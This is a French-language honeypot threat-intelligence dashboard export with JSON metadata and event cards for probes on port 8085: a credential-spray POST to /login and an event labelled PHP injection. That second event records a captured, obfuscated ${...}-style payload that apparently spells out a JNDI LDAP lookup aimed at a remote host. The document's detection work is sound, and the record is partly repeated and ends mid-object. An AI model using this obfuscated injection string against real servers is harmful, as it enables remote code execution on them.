"emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a204170616368652f322e342e35370d0a436f6e74656e742d4c656e6774683a20320d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a4f4b",
"emulator_response_len": 82,
"http_header_count": 5,
"http_query_params": 0,
"http_path_depth": 1,
"http_path_ext": null,
"http_ua_hash": "9468a4a53a2f2fd9ea96db22dc9dd9bb6ce38b7c",
"http_host_hash": "8307e910dac7083f4f0d52abcc8375f89d55b254",
"http_target_hash": "c42c80aa06113268fddf90dfdc871fb7318ff5cf",
"http_referer_hash": null,
"http_method": "POST",
"http_ua_is_cli": false,
"http_ua_is_browser": true,
"bytes_in": 1838,
"payload_entropy": 5.074952414052248,
"port_category": "registered",
"org": "Google LLC",
"service": "http",
"app_proto": "http",
"asn": 396982,
"country": "US",
"dst_port": 8085,
"risk_waf": 100,
"risk_classification": 78,
"risk_behavior": 0,
"risk_geo": 40,
"risk_protocol": 43,
"risk_novelty": 25,
"risk_boost": 0,
"risk_granularity": 6.8,
"risk_breakdown": {
"waf": 100,
"classification": 78,
"behavior": 0,
"geo": 40,
"protocol": 43,
"novelty": 25
},
"risk_score": 71,
"tag_count": 8,
"anomaly_count": 0,
"campaign_key": "35a2d6618e54e77a0dd680b970d7c3c634837489",
"event_fingerprint": "282692495c02ca7c9d8c13132b2797a6074d4eee",
"classification_reason": "Type \u00ab bruteforce_credential_spray \u00bb (signaux protocolaires) \u00b7 confiance 100%",
"confidence": 1,
"classification_confidence": 1,
"precision_score": 121,
"precision_signals": [
"MITRE-T1078",
"INT-beh-cred-stuff"
],
"kb_rule_ids": [
"MITRE-T1078",
"INT-beh-cred-stuff"
],
"matched_patterns": [
"pat-0842",
"pat-0324"
],
"matched_pattern_names": [
"CRS 921130 duplicate CL",
"SSRF Any-address SSRF"
],
"pattern_ids": [
"pat-0842",
"pat-0324"
],
"confidence_breakdown": {
"waf": 100,
"classification": 78,
"behavior": 0,
"geo": 40,
"protocol": 43,
"novelty": 25,
"risk_score": 71,
"correlation_boost": 18
},
"named_classification_skipped": false,
"classification_parent": "credential_stuffing",
"service_name": "http",
"risk_confidence_factor": 100,
"city": null,
"is_datacenter": true,
"is_tor_hint": false,
"geo": {
"country": "US",
"asn": 396982,
"org": "Google LLC",
"is_datacenter": true,
"is_tor_hint": false
},
"fingerprint": {
"http_ua_hash": "2994862c1f8176879ed381354c9dd245",
"payload_hash": "1ecaa72b1507643c892295b0c23da1dc",
"path_pattern_hash": "7e93fba0bc7adda858a2500090e639e4"
},
"target_context": {
"dst_port": 8085,
"service": "http",
"service_name": "http",
"risk_score": 71
},
"payload_preview": "POST \/login HTTP\/1.1\r\nHost: 62.3.50.33:8085\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKi",
"method": "POST",
"path": "\/login",
"user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"waf_tags": [
"950326:rce-0",
"950327:rce-0",
"950470:nosqli-3",
"950471:nosqli-3"
],
"waf_rule_names": [
"rce-0",
"nosqli-3"
],
"request_line": "POST \/login HTTP\/1.1",
"request_sample": "POST \/login HTTP\/1.1\r\nHost: 62.3.50.33:8085\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\r\nContent-Type: application\/json\r\nContent-Length: 1593\r\n\r\n{\"username\"",
"payload_snippet": "POST \/login HTTP\/1.1\r\nHost: 62.3.50.33:8085\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKi",
"evidence": {
"method": "POST",
"path": "\/login",
"user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"waf_tags": [
"950326:rce-0",
"950327:rce-0",
"950470:nosqli-3",
"950471:nosqli-3"
],
"waf_rule_names": [
"rce-0",
"nosqli-3"
],
"request_line": "POST \/login HTTP\/1.1",
"request_sample": "POST \/login HTTP\/1.1\r\nHost: 62.3.50.33:8085\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\r\nContent-Type: application\/json\r\nContent-Length: 1593\r\n\r\n{\"username\"",
"payload_snippet": "POST \/login HTTP\/1.1\r\nHost: 62.3.50.33:8085\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKi",
"classification_reason": "Type \u00ab bruteforce_credential_spray \u00bb (signaux protocolaires) \u00b7 confiance 100%"
},
"attack_stage": "probe",
"mitre_tactics": [
"TA0007",
"TA0001"
],
"mitre_techniques": [
"T1078",
"T1110"
],
"mitre": "T1078",
"threat_family": [
"unknown"
],
"recommended_client_action": "investigate",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "78e583488c352c4dce8d398f6d74f7091dbd00a9",
"protocol_details": {
"http_method": "POST",
"http_path": "\/login",
"request_line": "POST \/login HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"port": 8085,
"service": "http",
"service_label_fr": "HTTP"
},
"evidence_snippet": "POST \/login HTTP\/1.1\r\nHost: 62.3.50.33:8085\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKi",
"attack_vector": "bruteforce credential spray \u00b7 via HTTP:8085 \u00b7 (sonde \/ probe) \u00b7 \u2192 \/login",
"target_port_label": "8085 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 100 % \u2014 4 tag(s) WAF",
"site_display": {
"classification": null,
"classification_reason": "Type \u00ab bruteforce_credential_spray \u00bb (signaux protocolaires) \u00b7 confiance 100%",
"classification_reason_label_fr": "Type \u00ab bruteforce_credential_spray \u00bb (signaux protocolaires) \u00b7 confiance 100%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u2014 risque 71\/100 (\u00c9lev\u00e9) \u2014 MITRE T1078 \u2014 confiance 100 % \u2014 via HTTP \u2014 multi-protocole (3 protocoles \u00b7 5 min)",
"confidence_pct": 100,
"confidence_breakdown": {
"waf": 100,
"classification": 78,
"behavior": 0,
"geo": 40,
"protocol": 43,
"novelty": 25,
"risk_score": 71,
"correlation_boost": 18
},
"attack_stage": "probe",
"attack_stage_label": "Sonde \/ probe",
"attack_chain_stage": "reconnaissance",
"attack_chain_stage_label_fr": "Reconnaissance",
"risk_score": 71,
"risk_label": "\u00c9lev\u00e9",
"service_name": "http",
"service_label_fr": "HTTP",
"dst_port": 8085,
"protocol_emulated": true,
"tags_summary": [
"MITRE-T1078",
"INT-beh-cred-stuff"
],
"tags_summary_labels_fr": [
"MITRE-T1078",
"Beh Cred Stuff"
],
"recommended_action": "investigate",
"recommended_action_label": "Investiguer",
"mitre": "T1078",
"mitre_technique": "T1078",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-http",
"correlation_flags": [
"scan_coordonn\u00e9",
"multi_protocol_correlation"
],
"correlation_flags_labels_fr": [
"Scan coordonn\u00e9",
"Multi-protocole corr\u00e9l\u00e9 (5 min)"
],
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": "Corr\u00e9lation +18",
"protocol_details": {
"http_method": "POST",
"http_path": "\/login",
"request_line": "POST \/login HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"port": 8085,
"service": "http",
"service_label_fr": "HTTP"
},
"attack_vector": "bruteforce credential spray \u00b7 via HTTP:8085 \u00b7 (sonde \/ probe) \u00b7 \u2192 \/login",
"evidence_snippet": "POST \/login HTTP\/1.1\r\nHost: 62.3.50.33:8085\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKi",
"target_port_label": "8085 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 100 % \u2014 4 tag(s) WAF",
"confidence_factors_fr": "Confiance 100 % \u2014 Score WAF 100 \u00b7 Bonus corr\u00e9lation +18 \u00b7 4 tag(s) WAF",
"campaign_hint_fr": "Campagne de scan \u2014 plusieurs IP du m\u00eame \/24 (34.19.116.0\/24, \u22653 pairs)",
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": true,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": false,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "reconnaissance",
"label_fr": "Reconnaissance",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "http",
"service_banner": "honeypot-http",
"service_os": "linux",
"dst_port": "8085"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"multi_protocol_correlation": true,
"multi_protocol_count": 3,
"multi_protocol_sample": [
"http",
"http-alt-8005",
"http-alt-8085"
],
"multi_protocol_window_s": 300,
"coordinated_scan": true,
"coordinated_subnet": "34.19.116.0\/24",
"coordinated_ip_count": 9,
"behavior_alerts": [
"coordinated_scan",
"multi_protocol_correlation"
],
"correlation_confidence_boost": 18,
"attack_chain_stage": "reconnaissance",
"ban_policy": "advisory_investigate",
"tags_list": [
"950326:rce-0",
"950327:rce-0",
"950470:nosqli-3",
"950471:nosqli-3",
"http_credential_body",
"http_probe_login",
"http_ssti",
"net_web_probe"
],
"asn_dc_heuristic": true
}
31/07/2026 15:35:45 UTC
TCP
8085 · HTTP
Spray credentials
bruteforce credential spray · via HTTP:8085 · (sonde / probe) · → /login
Élevée
Élevé · 71
Détails
Voir
Étape
Sonde / probe
Chaîne
Reconnaissance
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
Corrélations
Scan coordonné
Multi-protocole corrélé (5 min)
MITRE
T1078
TA0007
TA0001
Protocole
POST /login UA Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537…
Émulateur
HTTP
WAF
26
Recommandation
Investiguer
Tags
950326:rce-0
950327:rce-0
950470:nosqli-3
950471:nosqli-3
Cible HTTP
POST
/login
TLS SNI
—
Capteur
paris-1
Méthode
POST
Port
8085
Chemin / cible
/login
Pourquoi cette classification : Type « bruteforce_credential_spray » (signaux protocolaires) · confiance 100%
Confiance classification
100%
Corrélation +18
Risque capteur
Élevé
· 71
Confiance : Confiance 100 % — 4 tag(s) WAF
Protocole émulé
1 Signaux
MITRE-T1078
Beh Cred Stuff
Tactiques MITRE
TA0007
TA0001
Motifs de détection (base)
CRS 921130 duplicate CL
SSRF Any-address SSRF
Ligne de requête
POST /login HTTP/1.1
User-Agent
Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
Règles WAF
rce-0
nosqli-3
Payload (extrait)
POST /login HTTP/1.1
Host: 62.3.50.33:8085
Accept: */*
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKi
Requête brute (extrait)
POST /login HTTP/1.1 Host: 62.3.50.33:8085 Accept: */* User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36 Content-Length: 2976 Content-Type: application/x-www-form-urlencod
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a204170616368652f322e342e35370d0a436f6e74656e742d4c656e6774683a20320d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a4f4b",
"emulator_response_len": 82,
"http_header_count": 5,
"http_query_params": 0,
"http_path_depth": 1,
"http_path_ext": null,
"http_ua_hash": "9468a4a53a2f2fd9ea96db22dc9dd9bb6ce38b7c",
"http_host_hash": "8307e910dac7083f4f0d52abcc8375f89d55b254",
"http_target_hash": "c42c80aa06113268fddf90dfdc871fb7318ff5cf",
"http_referer_hash": null,
"http_method": "POST",
"http_ua_is_cli": false,
"http_ua_is_browser": true,
"bytes_in": 3238,
"payload_entropy": 4.5576337145786106,
"port_category": "registered",
"org": "Google LLC",
"service": "http",
"app_proto": "http",
"asn": 396982,
"country": "US",
"dst_port": 8085,
"risk_waf": 100,
"risk_classification": 78,
"risk_behavior": 0,
"risk_geo": 40,
"risk_protocol": 43,
"risk_novelty": 25,
"risk_boost": 0,
"risk_granularity": 6.4,
"risk_breakdown": {
"waf": 100,
"classification": 78,
"behavior": 0,
"geo": 40,
"protocol": 43,
"novelty": 25
},
"risk_score": 71,
"tag_count": 7,
"anomaly_count": 0,
"campaign_key": "87f3f4327dc236f682739bdd03325c39c5bce462",
"event_fingerprint": "282692495c02ca7c9d8c13132b2797a6074d4eee",
"classification_reason": "Type \u00ab bruteforce_credential_spray \u00bb (signaux protocolaires) \u00b7 confiance 100%",
"confidence": 1,
"classification_confidence": 1,
"precision_score": 121,
"precision_signals": [
"MITRE-T1078",
"INT-beh-cred-stuff"
],
"kb_rule_ids": [
"MITRE-T1078",
"INT-beh-cred-stuff"
],
"matched_patterns": [
"pat-0842",
"pat-0324"
],
"matched_pattern_names": [
"CRS 921130 duplicate CL",
"SSRF Any-address SSRF"
],
"pattern_ids": [
"pat-0842",
"pat-0324"
],
"confidence_breakdown": {
"waf": 100,
"classification": 78,
"behavior": 0,
"geo": 40,
"protocol": 43,
"novelty": 25,
"risk_score": 71,
"correlation_boost": 18
},
"named_classification_skipped": false,
"classification_parent": "credential_stuffing",
"service_name": "http",
"risk_confidence_factor": 100,
"city": null,
"is_datacenter": true,
"is_tor_hint": false,
"geo": {
"country": "US",
"asn": 396982,
"org": "Google LLC",
"is_datacenter": true,
"is_tor_hint": false
},
"fingerprint": {
"http_ua_hash": "2994862c1f8176879ed381354c9dd245",
"payload_hash": "73a2dd06d4d740e37191ed8f4516517f",
"path_pattern_hash": "7e93fba0bc7adda858a2500090e639e4"
},
"target_context": {
"dst_port": 8085,
"service": "http",
"service_name": "http",
"risk_score": 71
},
"payload_preview": "POST \/login HTTP\/1.1\r\nHost: 62.3.50.33:8085\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKi",
"method": "POST",
"path": "\/login",
"user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"waf_tags": [
"950326:rce-0",
"950327:rce-0",
"950470:nosqli-3",
"950471:nosqli-3"
],
"waf_rule_names": [
"rce-0",
"nosqli-3"
],
"request_line": "POST \/login HTTP\/1.1",
"request_sample": "POST \/login HTTP\/1.1\r\nHost: 62.3.50.33:8085\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\r\nContent-Length: 2976\r\nContent-Type: application\/x-www-form-urlencod",
"payload_snippet": "POST \/login HTTP\/1.1\r\nHost: 62.3.50.33:8085\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKi",
"evidence": {
"method": "POST",
"path": "\/login",
"user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"waf_tags": [
"950326:rce-0",
"950327:rce-0",
"950470:nosqli-3",
"950471:nosqli-3"
],
"waf_rule_names": [
"rce-0",
"nosqli-3"
],
"request_line": "POST \/login HTTP\/1.1",
"request_sample": "POST \/login HTTP\/1.1\r\nHost: 62.3.50.33:8085\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\r\nContent-Length: 2976\r\nContent-Type: application\/x-www-form-urlencod",
"payload_snippet": "POST \/login HTTP\/1.1\r\nHost: 62.3.50.33:8085\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKi",
"classification_reason": "Type \u00ab bruteforce_credential_spray \u00bb (signaux protocolaires) \u00b7 confiance 100%"
},
"attack_stage": "probe",
"mitre_tactics": [
"TA0007",
"TA0001"
],
"mitre_techniques": [
"T1078",
"T1110"
],
"mitre": "T1078",
"threat_family": [
"unknown"
],
"recommended_client_action": "investigate",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "71c35b17661be462165a49cb820ffeb9e6a8594f",
"protocol_details": {
"http_method": "POST",
"http_path": "\/login",
"request_line": "POST \/login HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"port": 8085,
"service": "http",
"service_label_fr": "HTTP"
},
"evidence_snippet": "POST \/login HTTP\/1.1\r\nHost: 62.3.50.33:8085\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKi",
"attack_vector": "bruteforce credential spray \u00b7 via HTTP:8085 \u00b7 (sonde \/ probe) \u00b7 \u2192 \/login",
"target_port_label": "8085 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 100 % \u2014 4 tag(s) WAF",
"site_display": {
"classification": null,
"classification_reason": "Type \u00ab bruteforce_credential_spray \u00bb (signaux protocolaires) \u00b7 confiance 100%",
"classification_reason_label_fr": "Type \u00ab bruteforce_credential_spray \u00bb (signaux protocolaires) \u00b7 confiance 100%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u2014 risque 71\/100 (\u00c9lev\u00e9) \u2014 MITRE T1078 \u2014 confiance 100 % \u2014 via HTTP \u2014 multi-protocole (3 protocoles \u00b7 5 min)",
"confidence_pct": 100,
"confidence_breakdown": {
"waf": 100,
"classification": 78,
"behavior": 0,
"geo": 40,
"protocol": 43,
"novelty": 25,
"risk_score": 71,
"correlation_boost": 18
},
"attack_stage": "probe",
"attack_stage_label": "Sonde \/ probe",
"attack_chain_stage": "reconnaissance",
"attack_chain_stage_label_fr": "Reconnaissance",
"risk_score": 71,
"risk_label": "\u00c9lev\u00e9",
"service_name": "http",
"service_label_fr": "HTTP",
"dst_port": 8085,
"protocol_emulated": true,
"tags_summary": [
"MITRE-T1078",
"INT-beh-cred-stuff"
],
"tags_summary_labels_fr": [
"MITRE-T1078",
"Beh Cred Stuff"
],
"recommended_action": "investigate",
"recommended_action_label": "Investiguer",
"mitre": "T1078",
"mitre_technique": "T1078",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-http",
"correlation_flags": [
"scan_coordonn\u00e9",
"multi_protocol_correlation"
],
"correlation_flags_labels_fr": [
"Scan coordonn\u00e9",
"Multi-protocole corr\u00e9l\u00e9 (5 min)"
],
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": "Corr\u00e9lation +18",
"protocol_details": {
"http_method": "POST",
"http_path": "\/login",
"request_line": "POST \/login HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"port": 8085,
"service": "http",
"service_label_fr": "HTTP"
},
"attack_vector": "bruteforce credential spray \u00b7 via HTTP:8085 \u00b7 (sonde \/ probe) \u00b7 \u2192 \/login",
"evidence_snippet": "POST \/login HTTP\/1.1\r\nHost: 62.3.50.33:8085\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKi",
"target_port_label": "8085 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 100 % \u2014 4 tag(s) WAF",
"confidence_factors_fr": "Confiance 100 % \u2014 Score WAF 100 \u00b7 Bonus corr\u00e9lation +18 \u00b7 4 tag(s) WAF",
"campaign_hint_fr": "Campagne de scan \u2014 plusieurs IP du m\u00eame \/24 (34.19.116.0\/24, \u22653 pairs)",
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": true,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": false,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "reconnaissance",
"label_fr": "Reconnaissance",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "http",
"service_banner": "honeypot-http",
"service_os": "linux",
"dst_port": "8085"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"multi_protocol_correlation": true,
"multi_protocol_count": 3,
"multi_protocol_sample": [
"http",
"http-alt-8005",
"http-alt-8085"
],
"multi_protocol_window_s": 300,
"coordinated_scan": true,
"coordinated_subnet": "34.19.116.0\/24",
"coordinated_ip_count": 9,
"behavior_alerts": [
"coordinated_scan",
"multi_protocol_correlation"
],
"correlation_confidence_boost": 18,
"attack_chain_stage": "reconnaissance",
"ban_policy": "advisory_investigate",
"tags_list": [
"950326:rce-0",
"950327:rce-0",
"950470:nosqli-3",
"950471:nosqli-3",
"http_credential_body",
"http_probe_login",
"net_web_probe"
],
"asn_dc_heuristic": true
}
31/07/2026 15:35:44 UTC
TCP
8085 · HTTP ALT 8085
Injection PHP
php injection · via HTTP ALT 8085:8085 · (tentative d'exploit)
Faible
Moyen · 52
Détails
Voir
Étape
Tentative d'exploit
Chaîne
Reconnaissance
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
Corrélations
Scan coordonné
Multi-protocole corrélé (5 min)
MITRE
TA0001
TA0001
TA0002
Protocole
Émulateur
HTTP-ALT-8085
WAF
—
Recommandation
Investiguer
Tags
—
Cible HTTP
—
TLS SNI
—
Capteur
paris-1
Méthode
—
Port
8085
Chemin / cible
—
Service
HTTP ALT 8085
Payload
ZSDLKFJ2 /${${p8:-j}${mua:-n}${juan:9:a:-d}${bgy:9q8k:dlc:-i}${j3:-:}${85ak:o6:-l}${b2f:o0:vpm:-d}${rp:6c:-a}${4zf:msdr:i:-p}${m
Pourquoi cette classification : Type « php_injection » (signaux protocolaires) · confiance 97%
Confiance classification
100%
Corrélation +18
Risque capteur
Moyen
· 52
Confiance : Confiance 97 % — Preuve dans le payload · Motif catalogue confirmé
Protocole émulé
1 Signaux
pat-0162
Technique MITRE
TA0001
Tactiques MITRE
TA0001
TA0002
Motifs de détection (base)
CRS 933135
User-Agent
—
Règles WAF
—
Payload (extrait)
ZSDLKFJ2 /${${p8:-j}${mua:-n}${juan:9:a:-d}${bgy:9q8k:dlc:-i}${j3:-:}${85ak:o6:-l}${b2f:o0:vpm:-d}${rp:6c:-a}${4zf:msdr:i:-p}${m
Requête brute (extrait)
ZSDLKFJ2 /${${p8:-j}${mua:-n}${juan:9:a:-d}${bgy:9q8k:dlc:-i}${j3:-:}${85ak:o6:-l}${b2f:o0:vpm:-d}${rp:6c:-a}${4zf:msdr:i:-p}${mtw:-:}${md:0sq:qgo:-/}${f:p7:-/}${s:tha:-P}${wnt:faim:-A}${jws7:jhl:ymj:-l}${1:-0}${i:u:-c}${a:--}${${lqx7:fw:-s}${72r:i9:-y}${w
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a204170616368652f322e342e35370d0a436f6e74656e742d4c656e6774683a20320d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a4f4b",
"emulator_response_len": 82,
"bytes_in": 4096,
"payload_entropy": 4.866519490085901,
"port_category": "registered",
"org": "Google LLC",
"service": "http-alt-8085",
"app_proto": "http-alt-8085",
"asn": 396982,
"country": "US",
"dst_port": 8085,
"risk_waf": 8,
"risk_classification": 84,
"risk_behavior": 0,
"risk_geo": 40,
"risk_protocol": 22,
"risk_novelty": 15,
"risk_boost": 0,
"risk_granularity": 4,
"risk_breakdown": {
"waf": 8,
"classification": 84,
"behavior": 0,
"geo": 40,
"protocol": 22,
"novelty": 15
},
"risk_score": 52,
"tag_count": 0,
"anomaly_count": 0,
"campaign_key": "22265b2478869482eb9206249e1fe16334e71a55",
"event_fingerprint": "c7cbcc11dfcc2ec50410999dad51ff26e4ec6e62",
"classification_reason": "Type \u00ab php_injection \u00bb (signaux protocolaires) \u00b7 confiance 97%",
"confidence": 1,
"classification_confidence": 1,
"precision_score": 70,
"precision_signals": [
"pat-0162"
],
"kb_rule_ids": [
"pat-0162"
],
"matched_patterns": [
"pat-0162"
],
"matched_pattern_names": [
"CRS 933135"
],
"pattern_ids": [
"pat-0162"
],
"confidence_breakdown": {
"waf": 8,
"classification": 84,
"behavior": 0,
"geo": 40,
"protocol": 22,
"novelty": 15,
"risk_score": 52,
"correlation_boost": 18
},
"named_classification_skipped": false,
"service_name": "http-alt-8085",
"risk_confidence_factor": 97,
"city": null,
"is_datacenter": true,
"is_tor_hint": false,
"geo": {
"country": "US",
"asn": 396982,
"org": "Google LLC",
"is_datacenter": true,
"is_tor_hint": false
},
"fingerprint": {
"payload_hash": "561c21e6f2a3490543edfff0634c5d4f",
"path_pattern_hash": "765741bf96f2b0261b26b2b9f8ad710b"
},
"target_context": {
"dst_port": 8085,
"service": "http-alt-8085",
"service_name": "http-alt-8085",
"risk_score": 52
},
"payload_preview": "ZSDLKFJ2 \/${${p8:-j}${mua:-n}${juan:9:a:-d}${bgy:9q8k:dlc:-i}${j3:-:}${85ak:o6:-l}${b2f:o0:vpm:-d}${rp:6c:-a}${4zf:msdr:i:-p}${m",
"request_sample": "ZSDLKFJ2 \/${${p8:-j}${mua:-n}${juan:9:a:-d}${bgy:9q8k:dlc:-i}${j3:-:}${85ak:o6:-l}${b2f:o0:vpm:-d}${rp:6c:-a}${4zf:msdr:i:-p}${mtw:-:}${md:0sq:qgo:-\/}${f:p7:-\/}${s:tha:-P}${wnt:faim:-A}${jws7:jhl:ymj:-l}${1:-0}${i:u:-c}${a:--}${${lqx7:fw:-s}${72r:i9:-y}${w",
"payload_snippet": "ZSDLKFJ2 \/${${p8:-j}${mua:-n}${juan:9:a:-d}${bgy:9q8k:dlc:-i}${j3:-:}${85ak:o6:-l}${b2f:o0:vpm:-d}${rp:6c:-a}${4zf:msdr:i:-p}${m",
"evidence": {
"request_sample": "ZSDLKFJ2 \/${${p8:-j}${mua:-n}${juan:9:a:-d}${bgy:9q8k:dlc:-i}${j3:-:}${85ak:o6:-l}${b2f:o0:vpm:-d}${rp:6c:-a}${4zf:msdr:i:-p}${mtw:-:}${md:0sq:qgo:-\/}${f:p7:-\/}${s:tha:-P}${wnt:faim:-A}${jws7:jhl:ymj:-l}${1:-0}${i:u:-c}${a:--}${${lqx7:fw:-s}${72r:i9:-y}${w",
"payload_snippet": "ZSDLKFJ2 \/${${p8:-j}${mua:-n}${juan:9:a:-d}${bgy:9q8k:dlc:-i}${j3:-:}${85ak:o6:-l}${b2f:o0:vpm:-d}${rp:6c:-a}${4zf:msdr:i:-p}${m",
"classification_reason": "Type \u00ab php_injection \u00bb (signaux protocolaires) \u00b7 confiance 97%"
},
"attack_stage": "exploit_attempt",
"mitre_tactics": [
"TA0001",
"TA0002"
],
"mitre": "TA0001",
"threat_family": [
"rce_probe"
],
"recommended_client_action": "investigate",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "9a6d8f11af2a708a003b38d307f74dfaf215e43e",
"protocol_details": {
"payload_preview": "ZSDLKFJ2 \/${${p8:-j}${mua:-n}${juan:9:a:-d}${bgy:9q8k:dlc:-i}${j3:-:}${85ak:o6:-l}${b2f:o0:vpm:-d}${rp:6c:-a}${4zf:msdr:i:-p}${m",
"port": 8085,
"service": "http-alt-8085",
"service_label_fr": "HTTP ALT 8085"
},
